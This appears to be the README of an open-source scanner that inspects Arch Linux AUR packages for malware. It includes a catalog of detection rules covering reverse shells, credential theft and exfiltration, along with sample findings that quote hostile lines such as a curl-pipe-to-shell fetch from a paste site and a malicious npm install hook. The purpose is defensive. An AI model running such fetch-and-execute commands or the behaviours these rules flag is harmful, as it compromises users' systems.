║ ║╔═╝ ╔═║║ ║╔═║ ╔═╝╔═╝╔═║╔═ ╔═ ╔═╝╔═║
╔╝ ══║═╝╔═║║ ║╔╔╝═╝══║║ ╔═║║ ║║ ║╔═╝╔╔╝
╝ ╝══╝ ╝ ╝══╝╝ ╝ ══╝══╝╝ ╝╝ ╝╝ ╝══╝╝ ╝
Detect malicious AUR packages before they compromise your system.
A comprehensive security scanner for Arch Linux AUR packages that analyzes PKGBUILDs and install scripts for malicious patterns, suspicious behavior, and security vulnerabilities. Written in Rust for performance and safety.
# Install (stable, GPG-signed release — see "From AUR" for all channels)
paru -S aur-scanner
# or
yay -S aur-scanner
# Scan a package before installing
aur-scan check <package-name>
# Scan a local PKGBUILD
aur-scan scan ./PKGBUILD
# Scan all installed AUR packages
aur-scan system- Why This Exists
- Features
- Installation
- Quick Start
- Command Reference
- Integration Options
- Detection Rules Reference
- Output Formats
- Configuration
- Real-World Detection Examples
- Project Architecture
- Dependencies
- Building from Source
- Testing
- License
- Contributing
- Security
- Credits
- Disclaimer
The Arch User Repository (AUR) is an incredible community resource that extends Arch Linux with thousands of user-contributed packages. However, AUR packages are inherently untrusted and have been exploited multiple times:
| Date | Attack | Impact |
|---|---|---|
| June 2026 | "Atomic Arch" — 1,500+ orphaned packages adopted and modified to pull malicious npm/bun packages (atomic-lockfile, js-digest) |
Credential stealer + eBPF rootkit (scales.bpf.c) dropped from install hooks |
| July 2025 | CHAOS RAT distributed via firefox-patch-bin and librewolf-fix-bin |
Remote access trojan with persistence via systemd masquerading |
| 2018 | Orphaned packages acroread, balz, minergate hijacked |
Cryptominer installation via curl | bash and systemd timers |
| Ongoing | Typosquatting attacks mimicking popular package names | Various malware payloads |
There was no automated tool to scan for these threats before installation. Now there is.
This scanner implements detection rules based on real-world attacks and security research, providing an additional layer of defense for the Arch Linux ecosystem.
| Feature | Description |
|---|---|
| Static Analysis | 110+ detection codes across pattern rules and dedicated analyzers, in one auditable catalog |
| Install Script Scanning | Analyzes .install scripts for persistence mechanisms |
| Source Verification | Validates URLs, checksums, and download sources |
| AUR Integration | Fetch and scan packages directly from AUR before installation |
| System Audit | Scan all installed AUR packages in a single command |
| Threat Intelligence (opt-in) | Optional VirusTotal hash & URLhaus URL reputation checks — off by default, bring-your-own-key, public hashes/URLs only |
| Multiple Output Formats | Human-readable, JSON, and SARIF for CI/CD integration |
| Shell Integration | Seamless wrapper for yay, paru, and other AUR helpers |
| Pacman Hook | System-wide enforcement during package transactions |
| Offline Operation | Core scanning works without network access |
| Zero Dependencies Runtime | Single static binary with no runtime dependencies |
All four packages install the same aur-scan binary and conflict with each
other — install exactly one. Pick the channel that fits you:
| Package | Channel | Builds from | Best for |
|---|---|---|---|
aur-scanner |
Stable (recommended) | GPG-signed release tag | Most users and production systems |
ks-aur-scanner |
Stable (alias) | GPG-signed release tag | Same as aur-scanner, under an alternate name |
aur-scanner-rc |
Release candidate | GPG-signed pre-release tag | Testing the next release before it ships |
aur-scanner-git |
Rolling | Latest commit on main |
Bleeding edge and contributors |
paru -S aur-scanner # stable, recommended — or: yay -S aur-scannerThe tagged packages (aur-scanner, ks-aur-scanner, aur-scanner-rc) build
from a GPG-signed git tag and verify it against our signing key
(validpgpkeys), so makepkg refuses to build a tag that isn't signed by us —
integrity comes from the signature, not a tarball hash. If your AUR helper does
not fetch the key automatically, import it once:
gpg --recv-keys 25631EAE3F43999050B7D7021132BF893C33FB51Release-candidate channel —
aur-scanner-rc: tracks the next release before it is promoted to stable, so you can test changes early; when there is no pending candidate it follows the current stable. The RC fails closed (the wrapper/hook deny on a scan error, timeout, or no-TTY prompt rather than proceeding). Most users — and all production systems — should install the stableaur-scanner.
git clone https://github.com/KiefStudioMA/ks-aur-scanner.git
cd ks-aur-scanner
cargo build --releaseAfter building from source:
# Install binaries
sudo install -Dm755 target/release/aur-scan /usr/bin/aur-scan
sudo install -Dm755 target/release/aur-scan-wrap /usr/bin/aur-scan-wrap
sudo install -Dm755 target/release/aur-scan-hook /usr/bin/aur-scan-hook
# Install shell integration (recommended — scans BEFORE makepkg builds)
sudo install -Dm644 install/integration.bash /usr/share/aur-scan/integration.bash
sudo install -Dm644 install/integration.zsh /usr/share/aur-scan/integration.zsh
sudo install -Dm644 install/integration.fish /usr/share/aur-scan/integration.fish
sudo install -Dm644 install/integration.nu /usr/share/aur-scan/integration.nu
# Install the community rules example
sudo install -Dm644 install/rules.d/example.toml /usr/share/aur-scanner/rules.d/example.toml
# Pacman hook — opt-in backstop only. It runs AFTER makepkg has already built
# (and executed) the package, so it catches .install scriptlets, not build-time
# payloads. Prefer the shell integration above. Enable it deliberately:
sudo install -Dm644 install/aur-scan.hook /usr/share/libalpm/hooks/aur-scan.hook# Check a package BEFORE installing from AUR
aur-scan check firefox-patch-bin
# Scan a local PKGBUILD file
aur-scan scan ./PKGBUILD
# Scan an entire package directory
aur-scan scan ./my-package/
# Audit all installed AUR packages on your system
aur-scan system
# Learn about a specific detection code
aur-scan explain DLE-001
# List all detection codes
aur-scan codesResolve the full AUR dependency tree, scan every untrusted package in it,
and emit a reviewable SBOM — all before anything is built or installed.
paru -S foo builds foo's entire AUR dependency closure, and a hijacked
package is often a dependency, so the named package alone is not enough.
aur-scan check <package-name>... [OPTIONS]
OPTIONS:
--no-deps Scan only the named packages, not their AUR dep tree
--include-optional Also follow optdepends when resolving the tree
--sbom <FILE> Write a CycloneDX 1.5 SBOM of the whole tree to FILE
--local <DIR> Scan an already-fetched package dir from disk (repeatable)
--fail-on <LEVEL> Exit non-zero if findings at this level or above
(critical, high, medium, low, info)
--no-confirm Don't prompt; just report (for wrappers/CI)Race-free (TOCTOU-safe) workflow. By default check fetches its own copy of
each PKGBUILD; the helper then re-clones and builds its own copy, so the bytes
scanned aren't provably the bytes built. To scan the exact bytes that will be
built, fetch once and scan that directory with --local, then build from it:
paru -G mypkg # download PKGBUILD only, no build
aur-scan check --local mypkg --fail-on critical # scan those exact bytes
makepkg -D mypkg -si # build the same, reviewed directory--local directories are scanned from disk and marked (local); any remaining
AUR dependencies are resolved/fetched normally (provide their dirs too for a
fully race-free tree).
The dependency tree is printed for review, marking each node [AUR] (scanned)
or [repo] (official, trusted), flagging orphaned AUR packages, and annotating
findings per node (!! 2C/1H). AUR packages are resolved recursively; official
repository dependencies are signed and treated as trusted leaves.
Examples:
# Resolve + scan the full tree and review it before installing
aur-scan check librewolf-bin
# Produce a CycloneDX SBOM to archive or review
aur-scan check ungoogled-chromium-bin --sbom chromium.cdx.json
# CI gate: fail on any high+ finding anywhere in the tree
aur-scan check my-package --no-confirm --fail-on high
# Just the named package, skip the dependency closure
aur-scan check some-tool --no-depsThe dependency tree and SBOM are produced from the AUR RPC + PKGBUILDs before
makepkgruns, which is the only point at which AUR build-time payloads can be caught. Drive it automatically by sourcing the shell integration soparu/yaycallaur-scan checkbefore every install.
Resolve the tree, fetch every AUR package once into a workspace, scan those
exact directories, and — only if the scan gate passes — build them in
dependency order with makepkg, from the same directories that were
scanned. This eliminates the time-of-check/time-of-use gap entirely: there is
no second fetch between scanning and building.
aur-scan install <package>... [OPTIONS]
OPTIONS:
--gate <LEVEL> Findings at/above this severity block the build
[default: critical]
--force Build even if the gate trips (deliberate override)
--noconfirm Pass --noconfirm to makepkg, skip the build prompt
--workspace <DIR> Clone/build workspace (default ~/.cache/aur-scan/build)
--sbom <FILE> Write a CycloneDX SBOM of the treeDependency ordering comes from the resolved graph (deps built before
dependents); makepkg itself does all the building, so no PKGBUILD logic is
reimplemented. Enable it as the default for the shell integration with
export AUR_SCAN_MODE=install. It targets AUR packages; install official-repo
packages with pacman as usual.
Scope: builds each AUR
pkgbasewithmakepkg -siin dependency order. It does not (yet) cover paru-specific features like split-package selection or chroot builds; for those, use the Level 2gatemode.
Scan a local PKGBUILD file or directory.
aur-scan scan <PATH> [OPTIONS]
OPTIONS:
--format <FORMAT> Output format: text, json, sarif [default: text] (-f)
--output <FILE> Write output to a file instead of stdout (-o)
--fail-on <LEVEL> Exit with error if findings at this level or above
--include-info Include informational (Info-level) findings
ARGUMENTS:
<PATH> Path to PKGBUILD file or directory containing PKGBUILDExamples:
# Scan a single PKGBUILD
aur-scan scan ./PKGBUILD
# Scan a package directory (looks for PKGBUILD and .install files)
aur-scan scan ~/builds/my-package/
# Output SARIF for GitHub Security tab integration
aur-scan scan ./PKGBUILD --format sarif > results.sarifAudit all AUR packages currently installed on the system.
aur-scan system [OPTIONS]
OPTIONS:
--rescan Re-fetch PKGBUILDs from the AUR instead of using the local cache
--cache-dir <DIR> Custom cache directory for PKGBUILDsThis command:
- Queries pacman for foreign (non-repo) packages
- Locates cached PKGBUILDs in AUR helper cache directories
- Scans each package and reports findings
Supported cache locations (per-helper defaults; XDG *_HOME overrides are honored):
~/.cache/yay/(yay)~/.cache/paru/clone/(paru)~/.local/share/pikaur/aur_repos/(pikaur)~/.cache/aura/packages/(aura)~/.cache/pakku/(pakku)~/.cache/trizen/sources/(trizen)~/.cache/aurutils/sync/(aurutils)~/.config/rua/pkg/(rua)~/.cache/pat-aur/pkgbuild/aur/(pat-aur)
system also cross-references your installed package names against the IOC
database (see below) and runs the provenance check (flagging any package that
gained risky behavior since the last scan).
Show or query the local IOC (indicator-of-compromise) database — known-malicious
payload packages, file artifacts, C2 domains, and campaign metadata. The
database is embedded and can be extended from a feed (drop a file at
/usr/share/aur-scanner/ioc.toml or ~/.local/share/aur-scanner/ioc.toml).
aur-scan ioc # show database stats + campaigns
aur-scan ioc --check <name> # is this package/file/hash a known indicator?List all detection codes with their severity and description.
aur-scan codes [OPTIONS]
OPTIONS:
--category <CAT> Filter by category
--format <FORMAT> Output format: text, markdown, json (default: text)Example output (grouped by category):
[Command Injection]
DLE-001 [Critical] Curl pipe to shell
DLE-002 [Critical] Wget pipe to shell
DLE-003 [Critical] Curl output executed
...
Get detailed information about a specific detection code.
aur-scan explain <CODE>Example:
$ aur-scan explain DLE-001
DLE-001: Curl pipe to shell
===========================
Severity: CRITICAL
Category: Command Injection
CWE: CWE-94
Description:
Downloading and executing remote scripts is extremely dangerous.
Used in 2018 xeactor attack.
Recommendation:
Download scripts first, review them, then execute
Example Pattern:
curl https://malicious.com/script.sh | bashUse aur-scan commands directly before installing packages. This provides full control but requires manual invocation.
# Check package first
aur-scan check some-package
# Review output, then install if safe
paru -S some-packageAdd automatic scanning to your shell by sourcing the integration script.
For Bash - Add to ~/.bashrc:
source /usr/share/aur-scan/integration.bashFor Zsh - Add to ~/.zshrc:
source /usr/share/aur-scan/integration.zshFor Fish - Add to ~/.config/fish/config.fish:
source /usr/share/aur-scan/integration.fishFor Nushell - Add to your config.nu:
source /usr/share/aur-scan/integration.nuThe bash/zsh/fish scripts classify the helper invocation in-shell; the Nushell
script routes installs through the aur-scan-wrap binary (same scan-then-handoff
gate), so it requires aur-scan-wrap on PATH (shipped with every package).
This creates wrapper functions for paru and yay that:
- Detect AUR package installations
- Pre-scan packages before proceeding
- Prompt for confirmation on findings
- Provide
paru-unsafeandyay-unsafealiases to bypass scanning
Example workflow:
$ paru -S some-aur-package
AUR Security Scanner: Pre-checking packages...
============================================================
Checking: some-aur-package... OK
============================================================
Proceeding with installation...Use the standalone wrapper binary for explicit control:
# Direct usage
aur-scan-wrap paru -S package-name
# Or set up as an alias
alias paru='aur-scan-wrap paru'
alias yay='aur-scan-wrap yay'The wrapper:
- Detects sync operations (
-S,--sync) - Filters to only AUR packages (skips official repo packages)
- Scans each AUR package before proceeding
- Prompts on critical/high findings
- Passes through non-install operations unchanged
Important timing caveat. For an AUR package,
makepkgruns the PKGBUILD'sprepare()/build()/package()before the pacman transaction. A libalpmPreTransactionhook fires during that transaction — i.e. after the build has already executed. So this hook cannot stop a build-time payload (the most common AUR attack, including Atomic Arch) — by the time it fires, that code has already run. It still scans the full PKGBUILD, but it can only prevent payloads that haven't executed yet, in practice the package's.installscriptlet. Use the shell integration (Level 2) as your real gate; treat this hook as a backstop.
For a defense-in-depth backstop, install the pacman hook:
sudo cp /usr/share/aur-scan/aur-scan.hook.example /usr/share/libalpm/hooks/aur-scan.hookHook behavior:
- Triggers before the install transaction (after the build)
- Aborts the transaction on CRITICAL findings (anywhere in the scanned PKGBUILD or its resolved
.installscriptlet), and aborts fail-closed if a located PKGBUILD cannot be analyzed - Warns on HIGH severity findings
Hook configuration (/usr/share/libalpm/hooks/aur-scan.hook):
[Trigger]
Operation = Install
Operation = Upgrade
Type = Package
Target = *
[Action]
Description = Scanning AUR packages for security issues...
When = PreTransaction
Exec = /usr/bin/aur-scan-hook
AbortOnFail
NeedsTargetsThe 117 built-in detection codes, generated from the catalog (
aur-scan codes --format markdown) — every ID is unique and audit-enforced. (EXAMPLE-001is the shipped community-rule sample, not a built-in.) Extend the catalog with your own TOML rules (see Custom & Community Rules).
| Code | Name | Category | Detector | CWE |
|---|---|---|---|---|
ATOMIC-001 |
Atomic Arch malicious npm/bun package | Malicious Code | rules | CWE-506 |
ATOMIC-002 |
Node/Bun package manager in install hook | Malicious Code | rules | CWE-494 |
ATOMIC-003 |
eBPF rootkit / payload artifact | Persistence | rules | CWE-506 |
BROWSER-001 |
Browser profile access | Credential Theft | rules | CWE-522 |
BROWSER-002 |
Browser database access | Credential Theft | rules | CWE-522 |
CRED-001 |
SSH key access | Credential Theft | rules | CWE-522 |
CRED-002 |
GPG key access | Credential Theft | rules | CWE-522 |
CRED-003 |
Password file access | Credential Theft | rules | CWE-522 |
CRED-005 |
Keyring / wallet access | Credential Theft | rules | CWE-522 |
CRYPTO-001 |
Mining pool connection | Cryptomining | rules | CWE-506 |
CRYPTO-002 |
Cryptominer binary | Cryptomining | rules | CWE-506 |
CRYPTO-003 |
Monero/Bitcoin wallet address | Cryptomining | rules | CWE-506 |
DEEP-001 |
Decode-and-execute flow | Obfuscation | deep | CWE-506 |
DLE-001 |
Curl pipe to shell | Command Injection | rules | CWE-94 |
DLE-002 |
Wget pipe to shell | Command Injection | rules | CWE-94 |
DLE-003 |
Curl output executed | Command Injection | rules | CWE-94 |
ENV-001 |
LD_PRELOAD manipulation | Malicious Code | rules | CWE-426 |
ENV-003 |
Bashrc/profile modification | Persistence | rules | CWE-506 |
EXEC-002 |
Shell -c command substitution fetch | Malicious Code | rules | CWE-494 |
EXEC-REMOTE |
Fetches and runs external code | Malicious Code | remote_exec | CWE-494 |
EXFIL-001 |
Curl POST data exfiltration | Data Exfiltration | rules | CWE-200 |
EXFIL-002 |
Netcat data transfer | Data Exfiltration | rules | CWE-200 |
EXFIL-003 |
Discord/Telegram webhook | Data Exfiltration | rules | CWE-506 |
EXFIL-004 |
DNS exfiltration | Data Exfiltration | rules | CWE-200 |
EXFIL-008 |
Slack/Teams webhook exfiltration | Data Exfiltration | rules | CWE-200 |
INSTALL-001 |
Python execution in install script | Malicious Code | rules | CWE-94 |
INSTALL-003 |
Network access in install script | Network Security | rules | CWE-494 |
INSTALL-004 |
Language package manager invoked in install hook | Malicious Code | rules | CWE-494 |
IOC-001 |
Known indicator-of-compromise match | Malicious Code | ioc | CWE-506 |
PASTE-001 |
Pastebin download | Malicious Code | rules | CWE-506 |
PERSIST-001 |
Systemd service creation in install | Persistence | rules | CWE-506 |
PERSIST-002 |
Systemd timer creation | Persistence | rules | CWE-506 |
PERSIST-004 |
rc.local modification | Persistence | rules | CWE-506 |
PERSIST-006 |
Systemd masquerading | Persistence | rules | CWE-506 |
PRIV-001 |
Sudo usage in a build function | Privilege Escalation | privilege | CWE-250 |
PRIV-002 |
SUID/SGID bit set in a function | Privilege Escalation | privilege | CWE-732 |
PRIV-003 |
Sudoers modification | Privilege Escalation | privilege | CWE-250 |
PRIV-007 |
Privileged account manipulation | Privilege Escalation | rules | CWE-269 |
PRIV-008 |
Password manipulation | Privilege Escalation | rules | CWE-269 |
SHELL-001 |
Bash reverse shell | Malicious Code | rules | CWE-506 |
SHELL-002 |
Netcat reverse shell | Malicious Code | rules | CWE-506 |
SHELL-003 |
Python reverse shell | Malicious Code | rules | CWE-506 |
SHELL-004 |
Socat shell | Malicious Code | rules | CWE-506 |
SHELL-005 |
Perl reverse shell | Malicious Code | rules | CWE-94 |
SHELL-006 |
PHP reverse shell | Malicious Code | rules | CWE-94 |
SHELL-007 |
Ruby/Lua/AWK reverse shell | Malicious Code | rules | CWE-94 |
SHELL-008 |
Node.js reverse shell | Malicious Code | rules | CWE-94 |
SHELL-009 |
OpenSSL-encrypted reverse shell | Malicious Code | rules | CWE-94 |
SHELL-010 |
Named-pipe (mkfifo) reverse shell | Malicious Code | rules | CWE-94 |
SHELL-011 |
Busybox/telnet/ncat-ssl shell | Malicious Code | rules | CWE-94 |
TAMPER-001 |
Auth database write | Privilege Escalation | rules | CWE-269 |
TAMPER-002 |
doas/sudoers nopasswd grant | Privilege Escalation | rules | CWE-269 |
TAMPER-005 |
PAM tampering | Privilege Escalation | rules | CWE-287 |
TAMPER-011 |
pacman signature downgrade | Malicious Code | rules | CWE-347 |
TI-VT-001 |
VirusTotal flags a source artifact | Malicious Code | threat_intel (opt-in) | CWE-506 |
TI-URLHAUS-001 |
URLhaus lists a source URL | Malicious Code | threat_intel (opt-in) | CWE-494 |
| Code | Name | Category | Detector | CWE |
|---|---|---|---|---|
CHK-001 |
No checksums for sources | Cryptography | checksum | CWE-354 |
CHK-005 |
All non-VCS sources use SKIP | Cryptography | checksum | CWE-354 |
CHK-006 |
Checksum count mismatch | Configuration | checksum | - |
CRED-004 |
Cloud / CI credential file access | Credential Theft | rules | CWE-522 |
CRED-008 |
Environment/secret dump | Credential Theft | rules | CWE-522 |
DEEP-002 |
Large embedded encoded blob | Obfuscation | deep | CWE-506 |
DEP-001 |
Provides a core package name (dependency confusion) | Suspicious Metadata | metadata | CWE-427 |
DEP-003 |
Package index/registry override | Dependencies | rules | CWE-494 |
ENV-002 |
PATH manipulation | Malicious Code | rules | CWE-426 |
EXEC-006 |
sqlite3 shell-command execution | Malicious Code | rules | CWE-94 |
EXEC-007 |
make reads a Makefile from stdin | Command Injection | rules | CWE-94 |
EXFIL-006 |
HTTP upload exfiltration | Data Exfiltration | rules | CWE-200 |
EXFIL-007 |
wget POST exfiltration | Data Exfiltration | rules | CWE-200 |
EXFIL-009 |
Anonymous file-drop / tunnel host | Data Exfiltration | rules | CWE-200 |
FUNC-001 |
Network access in a build function | Network Security | pattern | - |
HIDDEN-001 |
Hidden file creation in home | Malicious Code | rules | - |
HIDDEN-002 |
Tmp directory execution | Malicious Code | rules | - |
HIDDEN-003 |
Binary in non-standard location | Malicious Code | rules | - |
INSTALL-002 |
Binary execution in install script | Malicious Code | rules | CWE-94 |
META-003 |
Replaces/conflicts a core or security package | Suspicious Metadata | metadata | CWE-1357 |
OBF-001 |
Base64 decoding | Obfuscation | rules | CWE-506 |
OBF-002 |
Eval usage | Command Injection | rules | CWE-95 |
OBF-003 |
Hex-encoded payload | Obfuscation | rules | CWE-506 |
OBF-005 |
Gzip decode execution | Obfuscation | rules | CWE-94 |
OBF-006 |
Quote-splitting / character obfuscation | Obfuscation | rules | CWE-506 |
OBF-007 |
printf character assembly | Obfuscation | rules | CWE-506 |
OBF-008 |
Alternate-encoding decode | Obfuscation | rules | CWE-506 |
OBF-011 |
Interpreter here-string execution | Obfuscation | rules | CWE-94 |
PERSIST-003 |
Cron job creation | Persistence | rules | - |
PERSIST-005 |
XDG autostart creation | Persistence | rules | - |
PRIV-005 |
Kernel module operations | Privilege Escalation | privilege | - |
PRIV-006 |
Sudo in an install hook | Privilege Escalation | privilege | CWE-250 |
PROV-001 |
Package gained risky behavior | Suspicious Metadata | provenance | CWE-506 |
SRC-002 |
Suspicious source domain | Network Security | source | - |
SRC-003 |
Raw IP address in source URL | Network Security | source | - |
SRC-004 |
URL shortener in source | Network Security | source | - |
SRC-009 |
Obfuscated IP in URL | Network Security | rules | CWE-94 |
TAMPER-013 |
Security control disabled | Malicious Code | rules | CWE-693 |
TAMPER-017 |
CA trust anchor injection | Malicious Code | rules | CWE-295 |
TRUST-001 |
pacman keyring poisoning | Malicious Code | rules | CWE-494 |
URL-001 |
Raw IP in URL | Network Security | rules | - |
URL-002 |
URL shortener | Network Security | rules | - |
URL-003 |
Dynamic DNS domain | Network Security | rules | - |
| Code | Name | Category | Detector | CWE |
|---|---|---|---|---|
CHK-002 |
MD5 checksums used | Cryptography | checksum | CWE-328 |
CHK-003 |
SHA1 checksums used | Cryptography | checksum | CWE-328 |
CHK-004 |
Some sources use SKIP checksum | Cryptography | checksum | CWE-354 |
CHK-008 |
Malformed or wrong-length checksum | Cryptography | checksum | CWE-354 |
EXEC-005 |
Detached background execution | Malicious Code | rules | CWE-506 |
META-005 |
install= points outside the package | Suspicious Metadata | metadata | CWE-426 |
META-006 |
backup= of a security-sensitive file | Suspicious Metadata | metadata | CWE-426 |
OBF-004 |
String concatenation obfuscation | Obfuscation | rules | - |
PRIV-004 |
Capabilities being set | Privilege Escalation | privilege | CWE-250 |
SRC-001 |
Insecure source/transport protocol | Network Security | source | CWE-319 |
SRC-005 |
No sources with a build function | Configuration | source | - |
TRUST-002 |
GPG key import at build time | Malicious Code | rules | CWE-494 |
| Code | Name | Category | Detector | CWE |
|---|---|---|---|---|
META-001 |
Provides impersonation | Suspicious Metadata | rules | - |
META-002 |
validpgpkeys declared but no signature verified | Suspicious Metadata | metadata | CWE-347 |
META-004 |
epoch set (forces upgrade over the repo version) | Suspicious Metadata | metadata | - |
SRC-006 |
VCS source from non-standard host | Network Security | source | - |
SRC-007 |
VCS source not pinned to a commit | Network Security | source | CWE-494 |
SRC-008 |
Source host differs from upstream url host | Network Security | source | - |
Every detection code lives in one authoritative catalog, so the index is
unique and auditable — run aur-scan codes to see it, or
aur-scan explain <ID> for any code. You can extend it with a few lines of
TOML; no rebuild required.
Drop .toml files into any of:
| Path | Scope |
|---|---|
/usr/share/aur-scanner/rules.d/ |
distro / package-shipped |
/etc/aur-scanner/rules.d/ |
system administrator |
~/.config/aur-scanner/rules.d/ |
per user |
[[rule]]
id = "ACME-001" # must be UNIQUE across the whole catalog
name = "Flags the ACME backdoor marker"
description = "Detects the marker string left by the ACME backdoor."
severity = "critical" # critical | high | medium | low | info
category = "malicious_code"
recommendation = "Do not build; report the package."
file_types = ["pkgbuild", "install_script"]
[[rule.patterns]]
type = "regex"
pattern = "acme_backdoor_[0-9a-f]{8}"The loader skips malformed files with a warning (it never breaks the engine),
and aur-scan codes surfaces a loud warning if any ID collides. A shipped example lives at
/usr/share/aur-scanner/rules.d/example.toml. Use an org-specific prefix to
avoid collisions.
Human-readable output with colored severity indicators:
aur-scan scan ./PKGBUILDMachine-readable JSON for scripting and automation:
aur-scan scan ./PKGBUILD --format jsonExample output:
{
"package_name": "example-package",
"package_version": "1.0.1-1",
"scan_duration_ms": 45,
"findings": [
{
"id": "DLE-001",
"severity": "critical",
"category": "command_injection",
"title": "Curl pipe to shell",
"description": "Downloading and executing remote scripts is extremely dangerous.",
"location": {
"file": "PKGBUILD",
"line": 23,
"column": 5,
"snippet": "curl https://example.com/install.sh | bash"
},
"recommendation": "Download scripts first, review them, then execute",
"cwe_id": "CWE-94"
}
]
}Static Analysis Results Interchange Format for CI/CD integration:
aur-scan scan ./PKGBUILD --format sarif > results.sarifSARIF output is compatible with:
- GitHub Code Scanning
- Azure DevOps
- Visual Studio
- Other SARIF-compatible tools
| Variable | Default | Description |
|---|---|---|
AUR_SCAN_ENABLED |
1 |
Enable/disable scanning in shell integration |
AUR_SCAN_SEVERITY |
high |
Minimum severity to display |
AUR_SCAN_INTERACTIVE |
1 |
Prompt before proceeding |
AUR_SCAN_SCAN_UPGRADES |
1 |
On a system upgrade (-Syu/-Syyu/bare yay), scan each AUR package that has a pending update (resolved via the helper's -Quaq). A hijacked update is the primary AUR threat, so this is on by default; set 0 to skip it. |
AUR_SCAN_SCAN_GETPKGBUILD |
0 |
Also scan the package(s) on -G/--getpkgbuild (which only downloads a PKGBUILD to review). Off by default; set 1 to opt in. |
The shell integration scans what's named on the command line — -S pkg, a bare helper pkg, yay -Y pkg, and (above) the upgrade set. It cannot see the package chosen after an interactive search-and-select menu (yay's default -Y mode resolves it at runtime); for that — and for any helper or path the shell functions don't wrap — enable the opt-in pacman hook, which fires on the exact package set of every transaction. paru, yay, pikaur, trizen, and pakku are wrapped as shell functions (they share pacman's -S/-Syu grammar); aura (installs via -A) and the subcommand-grammar tools (aurutils, rua, pat-aur) are covered by the pacman hook instead, which fires on every transaction regardless of helper.
Color output is on when writing to a terminal and automatically off when piped or redirected. Force it off with the global --no-color flag or by setting NO_COLOR=1.
Optional configuration file at /etc/aur-scanner/config.toml:
# Minimum severity to report
min_severity = "low"
# Scan timeout in seconds
timeout_seconds = 30
# Opt-in threat intelligence — OFF by default (see "Threat Intelligence" below)
enable_threat_intel = false
[threat_intel]
# VirusTotal API key (or env VT_API_KEY / VIRUSTOTAL_API_KEY)
# virustotal_api_key = "..."
urlhaus_enabled = false
# URLhaus Auth-Key — now mandatory at abuse.ch (or env URLHAUS_AUTH_KEY)
# urlhaus_auth_key = "..."
cache_duration_hours = 24
# Cache settings
[cache]
enabled = true
directory = "/var/cache/aur-scanner"
max_size_mb = 100
ttl_hours = 24By default aur-scan is fully offline and static. You can optionally cross-check a package against external reputation services — it is off unless you turn it on, and only data already public in the PKGBUILD is ever sent.
Enable it with enable_threat_intel = true and supply at least one provider key:
- VirusTotal —
virustotal_api_keyin config, orVT_API_KEY/VIRUSTOTAL_API_KEYin the environment. Checks each declaredsha256sumsentry and emitsTI-VT-001when engines flag the hash. - URLhaus — set
urlhaus_enabled = trueand supplyurlhaus_auth_key(orURLHAUS_AUTH_KEY); abuse.ch now requires a free Auth-Key from https://auth.abuse.ch/. Checks eachsource=URL and emitsTI-URLHAUS-001.
Guarantees:
- Off by default, bring-your-own-key — no key, no lookups, no egress.
- Least disclosure — only public source hashes and URLs leave your machine; never file contents or anything about you.
- Fail-open — a provider error, quota limit, or outage never fails or blocks a scan.
- Auditable egress — every external call lives in one file
(
crates/aur-scanner-core/src/threat_intel/remote.rs): HTTPS-only, no-redirect, time-bounded. - Cached & capped — verdicts are cached (authenticated
DiskCache) and lookups are bounded per scan to respect VirusTotal's 4-request/minute public API quota.
Orphaned packages were adopted and their install hooks modified to pull a malicious npm/bun package that drops an infostealer and eBPF rootkit. The scanner flags both the install-hook behavior and the known-bad package names:
[CRITICAL] ATOMIC-002 Node/Bun package manager in install hook
Location: alvr.install:4
npm install atomic-lockfile
[CRITICAL] ATOMIC-001 Atomic Arch malicious npm/bun package
Location: alvr.install:4
Known-malicious package: atomic-lockfile
[CRITICAL] ATOMIC-001 Atomic Arch malicious npm/bun package
Location: alvr.install:9
Known-malicious package: js-digest (wave 2, Bun installer)
The scanner would have detected this attack with the following findings:
[CRITICAL] PERSIST-006 Systemd masquerading
Location: PKGBUILD:45
Binary named like systemd component: 'systemd-initd'
[CRITICAL] INSTALL-001 Python execution in install script
Location: librewolf-fix-bin.install:12
Executing Python in post_install is suspicious
[CRITICAL] PERSIST-001 Systemd service creation
Location: librewolf-fix-bin.install:15
systemctl enable firefox-fix.service
[HIGH] HIDDEN-002 Tmp directory execution
Location: PKGBUILD:23
/tmp/systemd-initd
[CRITICAL] DLE-001 Curl pipe to shell
Location: PKGBUILD:18
curl -s https://ptpb.pw/~x | bash
[CRITICAL] PASTE-001 Pastebin download
Location: PKGBUILD:18
Downloads from paste sites (ptpb.pw)
[CRITICAL] PERSIST-002 Systemd timer creation
Location: PKGBUILD:34
OnBootSec=1min
[CRITICAL] CRYPTO-001 Mining pool connection
Location: hidden-script.sh:5
stratum+tcp://pool.supportxmr.com:3333
ks-aur-scanner/
├── Cargo.toml # Workspace manifest
├── crates/
│ ├── aur-scanner-core/ # Core analysis engine (library)
│ │ ├── src/
│ │ │ ├── lib.rs # Public API
│ │ │ ├── types.rs # Core types (Severity, Finding, etc.)
│ │ │ ├── error.rs # Error types
│ │ │ ├── parser/ # PKGBUILD parsing
│ │ │ ├── rules/ # Rule engine and built-in rules
│ │ │ ├── analyzer/ # Security analyzers
│ │ │ ├── aur.rs # AUR RPC client
│ │ │ └── cache/ # Result caching
│ │ └── Cargo.toml
│ ├── aur-scanner-cli/ # CLI binary (aur-scan)
│ │ ├── src/
│ │ │ ├── main.rs # Entry point
│ │ │ └── commands/ # Subcommands
│ │ └── Cargo.toml
│ ├── aur-scanner-hook/ # Pacman hook binary
│ │ ├── src/main.rs
│ │ └── Cargo.toml
│ └── aur-scanner-plugin/ # AUR helper wrapper
│ ├── src/
│ │ ├── lib.rs # Plugin library
│ │ └── bin/wrapper.rs # Wrapper binary
│ └── Cargo.toml
├── install/ # Installation files
│ ├── integration.bash
│ ├── integration.zsh
│ ├── integration.fish
│ ├── integration.nu
│ └── aur-scan.hook
├── tests/ # Test fixtures (clean & malicious PKGBUILDs)
└── PKGBUILD # AUR package definition
| Crate | Version | Purpose |
|---|---|---|
tokio |
1.40 | Async runtime |
async-trait |
0.1 | Async trait support |
futures |
0.3 | Future combinators |
regex |
1.11 | Pattern matching |
lazy_static |
1.5 | Compile-time regex |
serde |
1.0 | Serialization |
serde_json |
1.0 | JSON support |
toml |
0.8 | Configuration parsing |
thiserror |
1.0 | Error handling |
anyhow |
1.0 | Error context |
tracing |
0.1 | Logging |
tracing-subscriber |
0.3 | Log formatting |
clap |
4.5 | CLI argument parsing |
reqwest |
0.12 | HTTP client (native-tls) |
chrono |
0.4 | Date/time handling |
colored |
2.1 | Terminal colors |
blake3 |
1.5 | Fast hashing |
sha2 |
0.10 | SHA-256 checksums |
base64 |
0.22 | Base64 encoding |
gcc-libs and openssl — the binary dynamically links OpenSSL via reqwest's native-tls backend.
